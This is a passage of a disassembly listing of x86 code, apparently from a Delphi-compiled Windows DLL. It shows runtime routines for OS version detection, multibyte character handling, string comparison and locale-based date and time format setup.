xor edx, edx mov [eax], edx mov eax, ds:off_200144F4 xor edx, edx mov [eax], edx retn sub_2000AC24 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000ACA4 proc near ; CODE XREF: CODE:2000C147p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h add esp, 0FFFFFF6Ch mov [esp+94h+var_94], 94h push esp ; lpVersionInformation call GetVersionExA test eax, eax jz short loc_2000AD0B mov eax, [esp+94h+var_84] mov ds:dword_200140E4, eax mov eax, [esp+94h+var_90] mov ds:dword_200140E8, eax mov eax, [esp+94h+var_8C] mov ds:dword_200140EC, eax cmp ds:dword_200140E4, 1 jnz short loc_2000ACEF mov eax, [esp+94h+var_88] and eax, 0FFFFh mov ds:dword_200140F0, eax jmp short loc_2000ACF8 ; --------------------------------------------------------------------------- loc_2000ACEF: ; CODE XREF: sub_2000ACA4+39j mov eax, [esp+94h+var_88] mov ds:dword_200140F0, eax loc_2000ACF8: ; CODE XREF: sub_2000ACA4+49j mov eax, offset dword_200140F4 lea edx, [esp+94h+var_80] mov ecx, 80h call sub_20004218 loc_2000AD0B: ; CODE XREF: sub_2000ACA4+15j add esp, 94h retn sub_2000ACA4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000AD14 proc near ; CODE XREF: sub_2000AD8C+1Bp ; sub_2000ADB0+Bp push esi push edi mov edi, edx xor edx, edx test eax, eax jz short loc_2000AD84 cmp byte ptr [eax+edi], 0 jz short loc_2000AD84 test edi, edi jnz short loc_2000AD3C mov al, [eax] and eax, 0FFh bt ds:dword_2001412C, eax jnb short loc_2000AD84 mov dl, 1 jmp short loc_2000AD84 ; --------------------------------------------------------------------------- loc_2000AD3C: ; CODE XREF: sub_2000AD14+12j mov esi, edi dec esi jmp short loc_2000AD42 ; --------------------------------------------------------------------------- loc_2000AD41: ; CODE XREF: sub_2000AD14+42j dec esi loc_2000AD42: ; CODE XREF: sub_2000AD14+2Bj test esi, esi jl short loc_2000AD58 mov cl, [eax+esi] and ecx, 0FFh bt ds:dword_2001412C, ecx jb short loc_2000AD41 loc_2000AD58: ; CODE XREF: sub_2000AD14+30j mov ecx, edi sub ecx, esi and ecx, 80000001h jns short loc_2000AD69 dec ecx or ecx, 0FFFFFFFEh inc ecx loc_2000AD69: ; CODE XREF: sub_2000AD14+4Ej test ecx, ecx jnz short loc_2000AD71 mov dl, 2 jmp short loc_2000AD84 ; --------------------------------------------------------------------------- loc_2000AD71: ; CODE XREF: sub_2000AD14+57j mov al, [eax+edi] and eax, 0FFh bt ds:dword_2001412C, eax jnb short loc_2000AD84 mov dl, 1 loc_2000AD84: ; CODE XREF: sub_2000AD14+8j ; sub_2000AD14+Ej ... mov eax, edx pop edi pop esi retn sub_2000AD14 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000AD8C proc near ; CODE XREF: sub_200075A4+37p push ebx push esi mov esi, edx mov ebx, eax xor eax, eax cmp byte ptr ds:dword_20015760, 0 jz short loc_2000ADAC mov eax, ebx call sub_20004444 mov edx, esi dec edx call sub_2000AD14 loc_2000ADAC: ; CODE XREF: sub_2000AD8C+Fj pop esi pop ebx retn sub_2000AD8C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_2000ADB0 proc near ; CODE XREF: sub_20007824+1Bp ; sub_2000B074+4Ap ... xor ecx, ecx cmp byte ptr ds:dword_20015760, 0 jz short loc_2000ADC2 call sub_2000AD14 mov ecx, eax loc_2000ADC2: ; CODE XREF: sub_2000ADB0+9j mov eax, ecx retn sub_2000ADB0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000ADC8 proc near ; CODE XREF: sub_20008990+E4p push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx call sub_20004244 cmp esi, eax jle short loc_2000ADE2 mov eax, ebx call sub_20004244 mov esi, eax loc_2000ADE2: ; CODE XREF: sub_2000ADC8+Fj mov edx, esi mov eax, ebx call sub_2000ADF0 pop esi pop ebx retn sub_2000ADC8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_2000ADF0 proc near ; CODE XREF: sub_2000ADC8+1Ep push ebx push esi push edi mov esi, edx mov ebx, eax xor edi, edi test esi, esi jle short loc_2000AE42 mov eax, ebx call sub_20004244 cmp esi, eax jg short loc_2000AE42 mov edi, esi cmp byte ptr ds:dword_20015760, 0 jz short loc_2000AE42 mov eax, 1 xor edi, edi cmp esi, eax jl short loc_2000AE42 loc_2000AE1E: ; CODE XREF: sub_2000ADF0+50j mov dl, [ebx+eax-1] and edx, 0FFh bt ds:dword_2001412C, edx jnb short loc_2000AE3C mov edx, eax mov eax, ebx call sub_2000B000 jmp short loc_2000AE3D ; --------------------------------------------------------------------------- loc_2000AE3C: ; CODE XREF: sub_2000ADF0+3Fj inc eax loc_2000AE3D: ; CODE XREF: sub_2000ADF0+4Aj inc edi cmp esi, eax jge short loc_2000AE1E loc_2000AE42: ; CODE XREF: sub_2000ADF0+Bj ; sub_2000ADF0+16j ... mov eax, edi pop edi pop esi pop ebx retn sub_2000ADF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000AE48 proc near ; CODE XREF: sub_2000AED8+35p ; sub_2000AF3C+38p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov edi, eax mov eax, edi call sub_20004244 mov [ebp+var_C], eax mov esi, 1 mov ebx, 1 jmp short loc_2000AE90 ; --------------------------------------------------------------------------- loc_2000AE6F: ; CODE XREF: sub_2000AE48+50j inc esi mov al, [edi+ebx-1] and eax, 0FFh bt ds:dword_2001412C, eax jnb short loc_2000AE8F mov edx, ebx mov eax, edi call sub_2000B000 mov ebx, eax jmp short loc_2000AE90 ; --------------------------------------------------------------------------- loc_2000AE8F: ; CODE XREF: sub_2000AE48+38j inc ebx loc_2000AE90: ; CODE XREF: sub_2000AE48+25j ; sub_2000AE48+45j cmp ebx, [ebp+var_C] jge short loc_2000AE9A cmp esi, [ebp+var_4] jl short loc_2000AE6F loc_2000AE9A: ; CODE XREF: sub_2000AE48+4Bj cmp esi, [ebp+var_4] jnz short loc_2000AEC2 cmp ebx, [ebp+var_C] jge short loc_2000AEC2 mov al, [edi+ebx-1] and eax, 0FFh bt ds:dword_2001412C, eax jnb short loc_2000AEC2 mov edx, ebx mov eax, edi call sub_2000B000 dec eax mov ebx, eax loc_2000AEC2: ; CODE XREF: sub_2000AE48+55j ; sub_2000AE48+5Aj ... mov eax, [ebp+var_8] mov [eax], esi mov eax, [ebp+arg_0] mov [eax], ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_2000AE48 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000AED8 proc near ; CODE XREF: sub_20008990+F5p var_10 = dword ptr -10h var_C = dword ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h mov ebx, edx mov esi, eax xor eax, eax mov [esp+10h+var_10], eax test ebx, ebx jle short loc_2000AF34 mov eax, esi call sub_20004244 cmp ebx, eax jg short loc_2000AF34 cmp ebx, 1 jle short loc_2000AF31 cmp byte ptr ds:dword_20015760, 0 jz short loc_2000AF31 push esp lea ecx, [esp+14h+var_C] mov edx, ebx dec edx mov eax, esi call sub_2000AE48 dec ebx cmp ebx, [esp+10h+var_C] jg short loc_2000AF25 mov eax, esi call sub_20004244 cmp eax, [esp+10h+var_10] jg short loc_2000AF2C loc_2000AF25: ; CODE XREF: sub_2000AED8+3Fj xor eax, eax mov [esp+10h+var_10], eax jmp short loc_2000AF34 ; --------------------------------------------------------------------------- loc_2000AF2C: ; CODE XREF: sub_2000AED8+4Bj inc [esp+10h+var_10] jmp short loc_2000AF34 ; --------------------------------------------------------------------------- loc_2000AF31: ; CODE XREF: sub_2000AED8+20j ; sub_2000AED8+29j mov [esp+10h+var_10], ebx loc_2000AF34: ; CODE XREF: sub_2000AED8+10j ; sub_2000AED8+1Bj ... mov eax, [esp+10h+var_10] pop ecx pop edx pop esi pop ebx retn sub_2000AED8 endp ; =============== S U B R O U T I N E ======================================= sub_2000AF3C proc near ; CODE XREF: sub_20008990+BBp ; sub_20008990+11Dp var_10 = dword ptr -10h var_C = byte ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h mov ebx, edx mov esi, eax xor eax, eax mov [esp+10h+var_10], eax test ebx, ebx jle short loc_2000AF94 mov eax, esi call sub_20004244 cmp ebx, eax jle short loc_2000AF62 mov eax, esi call sub_20004244 mov ebx, eax loc_2000AF62: ; CODE XREF: sub_2000AF3C+1Bj cmp byte ptr ds:dword_20015760, 0 jz short loc_2000AF91 push esp lea ecx, [esp+14h+var_C] mov edx, ebx mov eax, esi call sub_2000AE48 mov eax, esi call sub_20004244 cmp eax, [esp+10h+var_10] jge short loc_2000AF94 mov eax, esi call sub_20004244 mov [esp+10h+var_10], eax jmp short loc_2000AF94 ; --------------------------------------------------------------------------- loc_2000AF91: ; CODE XREF: sub_2000AF3C+2Dj mov [esp+10h+var_10], ebx loc_2000AF94: ; CODE XREF: sub_2000AF3C+10j ; sub_2000AF3C+47j ... mov eax, [esp+10h+var_10] pop ecx pop edx pop esi pop ebx retn sub_2000AF3C endp ; =============== S U B R O U T I N E ======================================= sub_2000AF9C proc near ; CODE XREF: sub_20008C00+72p ; sub_2000AFC4+31p ... push ebx mov ebx, eax cmp byte ptr ds:dword_20015760, 0 jz short loc_2000AFB2 push ebx ; lpsz call CharNextA_0 sub eax, ebx pop ebx retn ; --------------------------------------------------------------------------- loc_2000AFB2: ; CODE XREF: sub_2000AF9C+Aj mov eax, 1 pop ebx retn sub_2000AF9C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000AFBC proc near ; CODE XREF: sub_20008C00+85p ; sub_20008C00+97p ... push eax ; lpsz call CharNextA_0 retn sub_2000AFBC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000AFC4 proc near ; CODE XREF: sub_2000A060+D1p push ebx push esi mov esi, edx mov ebx, eax mov eax, 1 cmp byte ptr ds:dword_20015760, 0 jz short loc_2000AFFA mov dl, [ebx+esi-1] and edx, 0FFh bt ds:dword_2001412C, edx jnb short loc_2000AFFA mov eax, ebx call sub_20004444 add eax, esi dec eax call sub_2000AF9C loc_2000AFFA: ; CODE XREF: sub_2000AFC4+12j ; sub_2000AFC4+25j pop esi pop ebx retn sub_2000AFC4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_2000B000 proc near ; CODE XREF: sub_200095EC+20p ; sub_2000ADF0+45p ... push ebx push esi mov ebx, edx mov esi, eax lea eax, [ebx+1] cmp byte ptr ds:dword_20015760, 0 jz short loc_2000B036 mov dl, [esi+ebx-1] and edx, 0FFh bt ds:dword_2001412C, edx jnb short loc_2000B036 mov eax, esi call sub_20004444 add eax, ebx dec eax call sub_2000AF9C add eax, ebx loc_2000B036: ; CODE XREF: sub_2000B000+10j ; sub_2000B000+23j pop esi pop ebx retn sub_2000B000 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000B03C proc near ; CODE XREF: sub_200096E4+A6p ; sub_20010AEC+61p push ebx push esi push edi push ebp mov esi, edx mov ebx, eax xor edi, edi mov eax, ebx call sub_20004444 push eax mov eax, esi call sub_20004444 mov ebp, eax mov eax, ebp pop edx call sub_2000B074 mov ebx, eax test ebx, ebx jz short loc_2000B06A mov edi, ebx sub edi, ebp inc edi loc_2000B06A: ; CODE XREF: sub_2000B03C+27j mov eax, edi pop ebp pop edi pop esi pop ebx retn sub_2000B03C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000B074 proc near ; CODE XREF: sub_20009634+30p ; sub_2000B03C+1Ep var_18 = dword ptr -18h var_14 = byte ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov ebp, edx mov esi, eax xor ebx, ebx test esi, esi jz loc_2000B10A cmp byte ptr [esi], 0 jz short loc_2000B10A test ebp, ebp jz short loc_2000B10A cmp byte ptr [ebp+0], 0 jz short loc_2000B10A mov eax, esi call sub_200076DC mov [esp+18h+var_18], eax mov eax, ebp call sub_200076DC mov edi, eax mov edx, ebp mov eax, esi call sub_20007790 mov ebx, eax jmp short loc_2000B0F7 ; --------------------------------------------------------------------------- loc_2000B0B8: ; CODE XREF: sub_2000B074+92j mov edx, ebx sub edx, esi mov eax, esi call sub_2000ADB0 mov [esp+18h+var_14], al cmp [esp+18h+var_14], 2 jz short loc_2000B0E3 push edi ; cchCount2 push ebp ; lpString2 push edi ; cchCount1 push ebx ; lpString1 push 0 ; dwCmpFlags push 400h ; Locale call CompareStringA cmp eax, 2 jz short loc_2000B10A loc_2000B0E3: ; CODE XREF: sub_2000B074+58j cmp [esp+18h+var_14], 1 jnz short loc_2000B0EB inc ebx loc_2000B0EB: ; CODE XREF: sub_2000B074+74j inc ebx mov edx, ebp mov eax, ebx call sub_20007790 mov ebx, eax loc_2000B0F7: ; CODE XREF: sub_2000B074+42j test ebx, ebx jz short loc_2000B108 mov eax, ebx sub eax, esi mov edx, [esp+18h+var_18] sub edx, eax cmp edi, edx jbe short loc_2000B0B8 loc_2000B108: ; CODE XREF: sub_2000B074+85j xor ebx, ebx loc_2000B10A: ; CODE XREF: sub_2000B074+Fj ; sub_2000B074+18j ... mov eax, ebx pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_2000B074 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000B114 proc near ; CODE XREF: CODE:2000A312p push ebx push esi mov ebx, edx mov edx, ebx call sub_2000B13C mov esi, eax test bl, bl jz short loc_2000B137 test eax, eax jz short loc_2000B137 loc_2000B129: ; CODE XREF: sub_2000B114+21j mov esi, eax inc eax mov edx, ebx call sub_2000B13C test eax, eax jnz short loc_2000B129 loc_2000B137: ; CODE XREF: sub_2000B114+Fj ; sub_2000B114+13j mov eax, esi pop esi pop ebx retn sub_2000B114 endp ; =============== S U B R O U T I N E ======================================= sub_2000B13C proc near ; CODE XREF: sub_2000B114+6p ; sub_2000B114+1Ap push ebx push esi push edi mov ebx, edx mov esi, eax mov edx, ebx mov eax, esi call sub_2000777C mov edi, eax test edi, edi jz short loc_2000B176 loc_2000B152: ; CODE XREF: sub_2000B13C+38j mov edx, edi sub edx, esi mov eax, esi call sub_2000ADB0 sub al, 1 jb short loc_2000B176 jz short loc_2000B165 jmp short loc_2000B166 ; --------------------------------------------------------------------------- loc_2000B165: ; CODE XREF: sub_2000B13C+25j inc edi loc_2000B166: ; CODE XREF: sub_2000B13C+27j inc edi mov edx, ebx mov eax, edi call sub_2000777C mov edi, eax test edi, edi jnz short loc_2000B152 loc_2000B176: ; CODE XREF: sub_2000B13C+14j ; sub_2000B13C+23j mov eax, edi pop edi pop esi pop ebx retn sub_2000B13C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000B17C proc near ; CODE XREF: sub_2000B1F0+13p var_C = dword ptr -0Ch LCData = byte ptr -7 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx xor edx, edx mov [ebp+var_C], edx xor edx, edx push ebp push offset loc_2000B1E0 push dword ptr fs:[edx] mov fs:[edx], esp push 7 ; cchData lea edx, [ebp+LCData] push edx ; lpLCData push 1004h ; LCType push eax ; Locale call GetLocaleInfoA_0 lea eax, [ebp+var_C] lea edx, [ebp+LCData] mov ecx, 7 call sub_20004218 mov eax, [ebp+var_C] push eax call GetACP mov edx, eax pop eax call sub_2000729C mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000B1E7 loc_2000B1D7: ; CODE XREF: sub_2000B17C+69j lea eax, [ebp+var_C] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000B1E0: ; DATA XREF: sub_2000B17C+Fo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000B1D7 ; --------------------------------------------------------------------------- loc_2000B1E7: ; CODE XREF: sub_2000B17C+63j ; DATA XREF: sub_2000B17C+56o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_2000B17C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000B1F0 proc near ; CODE XREF: sub_2000B268+93p ; sub_2000B268+145p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] add edi, 0FFFFFFECh push edi ; lpCPInfo mov eax, ds:Locale call sub_2000B17C push eax ; CodePage call GetCPInfo xor esi, esi jmp short loc_2000B23B ; --------------------------------------------------------------------------- loc_2000B212: ; CODE XREF: sub_2000B1F0+58j mov al, [edi+esi+6] mov bl, [edi+esi+7] sub bl, al jb short loc_2000B238 inc ebx mov [ebp+var_1], al loc_2000B222: ; CODE XREF: sub_2000B1F0+46j mov al, [ebp+var_1] and eax, 0FFh bts ds:dword_2001412C, eax inc [ebp+var_1] dec bl jnz short loc_2000B222 loc_2000B238: ; CODE XREF: sub_2000B1F0+2Cj add esi, 2 loc_2000B23B: ; CODE XREF: sub_2000B1F0+20j cmp esi, 0Ch jge short loc_2000B24A mov al, [edi+esi+6] or al, [edi+esi+7] jnz short loc_2000B212 loc_2000B24A: ; CODE XREF: sub_2000B1F0+4Ej pop edi pop esi pop ebx pop ecx pop ebp retn sub_2000B1F0 endp ; =============== S U B R O U T I N E ======================================= sub_2000B250 proc near ; CODE XREF: sub_2000B268+76p mov eax, ds:dword_20015758 cmp eax, 1Fh ja short loc_2000B261 bt ds:dword_20014324, eax loc_2000B261: ; CODE XREF: sub_2000B250+8j setb al retn sub_2000B250 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000B268 proc near ; CODE XREF: sub_2000B3DC+1Ep CharType = word ptr -196h SrcStr = byte ptr -94h push ebp mov ebp, esp add esp, 0FFFFFE68h push ebx push esi push edi mov ds:Locale, 409h mov ds:dword_20015758, 9 mov ds:dword_2001575C, 1 call GetThreadLocale_0 test eax, eax jz short loc_2000B2A0 mov ds:Locale, eax loc_2000B2A0: ; CODE XREF: sub_2000B268+31j test ax, ax jz short loc_2000B2C0 mov edx, eax and dx, 3FFh movzx edx, dx mov ds:dword_20015758, edx movzx eax, ax shr eax, 0Ah mov ds:dword_2001575C, eax loc_2000B2C0: ; CODE XREF: sub_2000B268+3Bj mov esi, offset dword_2000B3BC mov edi, offset dword_2001412C mov ecx, 8 rep movsd cmp ds:dword_200140E4, 2 jnz loc_2000B385 call sub_2000B250 test al, al jz short loc_2000B2FA mov byte ptr ds:dword_20015760+1, 0 mov byte ptr ds:dword_20015760, 0 jmp loc_2000B3B3 ; --------------------------------------------------------------------------- loc_2000B2FA: ; CODE XREF: sub_2000B268+7Dj push ebp call sub_2000B1F0 pop ecx mov eax, offset dword_2001412C mov edx, offset dword_2000B3BC mov cl, 20h call sub_2000305C setnz bl mov byte ptr ds:dword_20015760, bl test bl, bl jz short loc_2000B32B mov byte ptr ds:dword_20015760+1, 0 jmp loc_2000B3B3 ; --------------------------------------------------------------------------- loc_2000B32B: ; CODE XREF: sub_2000B268+B5j mov eax, 80h lea edx, [ebp+SrcStr] loc_2000B336: ; CODE XREF: sub_2000B268+D7j mov [edx], al inc eax inc edx cmp eax, 100h jnz short loc_2000B336 lea eax, [ebp+SrcStr] lea edx, [ebp+CharType] push edx ; lpCharType push 80h ; cchSrc push eax ; lpSrcStr push 2 ; dwInfoType mov eax, ds:Locale push eax ; Locale call GetStringTypeExA mov eax, 80h lea edx, [ebp+CharType] loc_2000B36C: ; CODE XREF: sub_2000B268+119j cmp word ptr [edx], 2 setz cl mov byte ptr ds:dword_20015760+1, cl test cl, cl jnz short loc_2000B3B3 add edx, 2 dec eax jnz short loc_2000B36C jmp short loc_2000B3B3 ; --------------------------------------------------------------------------- loc_2000B385: ; CODE XREF: sub_2000B268+70j push 4Ah ; nIndex call GetSystemMetrics test eax, eax setnz al mov byte ptr ds:dword_20015760+1, al push 2Ah ; nIndex call GetSystemMetrics test eax, eax setnz bl mov byte ptr ds:dword_20015760, bl test bl, bl jz short loc_2000B3B3 push ebp call sub_2000B1F0 pop ecx loc_2000B3B3: ; CODE XREF: sub_2000B268+8Dj ; sub_2000B268+BEj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_2000B268 endp ; --------------------------------------------------------------------------- align 4 dword_2000B3BC dd 8 dup(0) ; DATA XREF: sub_2000B268:loc_2000B2C0o ; sub_2000B268+9Eo ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000B3DC proc near ; CODE XREF: CODE:2000C151p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 8 loc_2000B3E4: ; CODE XREF: sub_2000B3DC+Dj push 0 push 0 dec ecx jnz short loc_2000B3E4 push ebx xor eax, eax push ebp push offset loc_2000B6A7 push dword ptr fs:[eax] mov fs:[eax], esp call sub_2000B268 call sub_20009DD8 cmp byte ptr ds:dword_20015760, 0 jz short loc_2000B412 call sub_20009FB0 loc_2000B412: ; CODE XREF: sub_2000B3DC+2Fj call GetThreadLocale_0 mov ebx, eax lea eax, [ebp+var_10] push eax xor ecx, ecx mov edx, 14h mov eax, ebx call sub_20009D28 mov edx, [ebp+var_10] mov eax, offset dword_20015694 call sub_20003FFC lea eax, [ebp+var_14] push eax mov ecx, offset dword_2000B6BC mov edx, 1Bh mov eax, ebx call sub_20009D28 mov eax, [ebp+var_14] xor edx, edx call sub_2000729C mov ds:byte_20015698, al lea eax, [ebp+var_18] push eax mov ecx, offset dword_2000B6BC mov edx, 1Ch mov eax, ebx call sub_20009D28 mov eax, [ebp+var_18] xor edx, edx call sub_2000729C mov ds:byte_20015699, al mov cl, 2Ch mov edx, 0Fh mov eax, ebx call sub_20009D74 mov ds:byte_2001569A, al mov cl, 2Eh mov edx, 0Eh mov eax, ebx call sub_20009D74 mov ds:byte_2001569B, al lea eax, [ebp+var_1C] push eax mov ecx, offset dword_2000B6BC mov edx, 19h mov eax, ebx call sub_20009D28 mov eax, [ebp+var_1C] xor edx, edx call sub_2000729C mov ds:byte_2001569C, al mov cl, 2Fh mov edx, 1Dh mov eax, ebx call sub_20009D74 mov ds:byte_2001569D, al lea eax, [ebp+var_24] push eax mov ecx, offset dword_2000B6C8 mov edx, 1Fh mov eax, ebx call sub_20009D28 mov eax, [ebp+var_24] lea edx, [ebp+var_20] call sub_2000A060 mov edx, [ebp+var_20] mov eax, offset dword_200156A0 call sub_20003FFC lea eax, [ebp+var_2C] push eax mov ecx, offset dword_2000B6D8 mov edx, 20h mov eax, ebx call sub_20009D28 mov eax, [ebp+var_2C] lea edx, [ebp+var_28] call sub_2000A060 mov edx, [ebp+var_28] mov eax, offset dword_200156A4 call sub_20003FFC mov cl, 3Ah mov edx, 1Eh mov eax, ebx call sub_20009D74 mov ds:byte_200156A8, al lea eax, [ebp+var_30] push eax mov ecx, offset dword_2000B6F0 mov edx, 28h mov eax, ebx call sub_20009D28 mov edx, [ebp+var_30] mov eax, offset dword_200156AC call sub_20003FFC lea eax, [ebp+var_34] push eax mov ecx, offset dword_2000B6FC mov edx, 29h mov eax, ebx call sub_20009D28 mov edx, [ebp+var_34] mov eax, offset dword_200156B0 call sub_20003FFC lea eax, [ebp+var_8] call sub_20003FA8 lea eax, [ebp+var_C] call sub_20003FA8 lea eax, [ebp+var_38] push eax mov ecx, offset dword_2000B6BC mov edx, 25h mov eax, ebx call sub_20009D28 mov eax, [ebp+var_38] xor edx, edx call sub_2000729C test eax, eax jnz short loc_2000B5D0 lea eax, [ebp+var_4] mov edx, offset dword_2000B708 call sub_20004040 jmp short loc_2000B5DD ; --------------------------------------------------------------------------- loc_2000B5D0: ; CODE XREF: sub_2000B3DC+1E3j lea eax, [ebp+var_4] mov edx, offset dword_2000B714 call sub_20004040 loc_2000B5DD: ; CODE XREF: sub_2000B3DC+1F2j lea eax, [ebp+var_3C] push eax mov ecx, offset dword_2000B6BC mov edx, 23h mov eax, ebx call sub_20009D28 mov eax, [ebp+var_3C] xor edx, edx call sub_2000729C test eax, eax jnz short loc_2000B63F lea eax, [ebp+var_40] push eax mov ecx, offset dword_2000B6BC mov edx, 1005h mov eax, ebx call sub_20009D28 mov eax, [ebp+var_40] xor edx, edx call sub_2000729C test eax, eax jnz short loc_2000B632 lea eax, [ebp+var_C] mov edx, offset dword_2000B720 call sub_20004040 jmp short loc_2000B63F ; --------------------------------------------------------------------------- loc_2000B632: ; CODE XREF: sub_2000B3DC+245j lea eax, [ebp+var_8] mov edx, offset dword_2000B730 call sub_20004040 loc_2000B63F: ; CODE XREF: sub_2000B3DC+222j ; sub_2000B3DC+254j push [ebp+var_8] push [ebp+var_4] push offset dword_2000B740 push [ebp+var_C] mov eax, offset dword_200156B4 mov edx, 4 call sub_20004304 push [ebp+var_8] push [ebp+var_4] push offset dword_2000B74C push [ebp+var_C] mov eax, offset dword_200156B8 mov edx, 4 call sub_20004304 mov cl, 2Ch mov edx, 0Ch mov eax, ebx call sub_20009D74 mov byte ptr ds:dword_20015760+2, al xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000B6AE loc_2000B699: ; CODE XREF: sub_2000B3DC+2D0j lea eax, [ebp+var_40] mov edx, 10h call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_2000B6A7: ; DATA XREF: sub_2000B3DC+13o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000B699 ; --------------------------------------------------------------------------- loc_2000B6AE: ; CODE XREF: sub_2000B3DC+2CAj ; DATA XREF: sub_2000B3DC+2B8o pop ebx mov esp, ebp pop ebp retn sub_2000B3DC endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_2000B6BC dd 30h, 0FFFFFFFFh, 6 ; DATA XREF: sub_2000B3DC+60o ; sub_2000B3DC+84o ... dword_2000B6C8 dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_2000B3DC+105o dword_2000B6D8 dd 6D6D6D6Dh, 202C6420h, 79797979h, 0 ; DATA XREF: sub_2000B3DC+132o dd 0FFFFFFFFh, 2 dword_2000B6F0 dd 6D61h, 0FFFFFFFFh, 2 ; DATA XREF: sub_2000B3DC+172o dword_2000B6FC dd 6D70h, 0FFFFFFFFh, 1 ; DATA XREF: sub_2000B3DC+194o dword_2000B708 dd 68h, 0FFFFFFFFh, 2 ; DATA XREF: sub_2000B3DC+1E8o dword_2000B714 dd 6868h, 0FFFFFFFFh, 5 ; DATA XREF: sub_2000B3DC+1F7o dword_2000B720 dd 504D4120h, 4Dh, 0FFFFFFFFh, 5 ; DATA XREF: sub_2000B3DC+24Ao dword_2000B730 dd 4D504D41h, 20h, 0FFFFFFFFh, 3 ; DATA XREF: sub_2000B3DC+259o dword_2000B740 dd 6D6D3Ah, 0FFFFFFFFh, 6 ; DATA XREF: sub_2000B3DC+269o dword_2000B74C dd 3A6D6D3Ah, 7373h ; DATA XREF: sub_2000B3DC+286o ; [00000006 BYTES: COLLAPSED FUNCTION Sleep. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000B75C proc near ; CODE XREF: sub_2000B7F8+7p ; sub_20012540+28p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx xor eax, eax mov [ebp+var_14], eax xor eax, eax push ebp push offset loc_2000B7EC push dword ptr fs:[eax] mov fs:[eax], esp call GetLastError_0 mov ebx, eax test ebx, ebx jz short loc_2000B7B8 mov [ebp+var_10], ebx mov [ebp+var_C], 0 lea edx, [ebp+var_14] mov eax, ebx call sub_20009CDC mov eax, [ebp+var_14] mov [ebp+var_8], eax mov [ebp+var_4], 0Bh lea eax, [ebp+var_10] push eax push 1 mov ecx, ds:off_20014514 mov dl, 1 mov eax, off_20006C90 call sub_2000A5DC mov edx, eax jmp short loc_2000B7CC ; --------------------------------------------------------------------------- loc_2000B7B8: ; CODE XREF: sub_2000B75C+23j mov ecx, ds:off_2001457C mov dl, 1 mov eax, off_20006C90 call sub_2000A5A0 mov edx, eax loc_2000B7CC: ; CODE XREF: sub_2000B75C+5Aj mov [edx+0Ch], ebx mov eax, edx call sub_20003A08 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000B7F3 loc_2000B7E3: ; CODE XREF: sub_2000B75C+95j lea eax, [ebp+var_14] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000B7EC: ; DATA XREF: sub_2000B75C+Fo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000B7E3 ; --------------------------------------------------------------------------- loc_2000B7F3: ; CODE XREF: 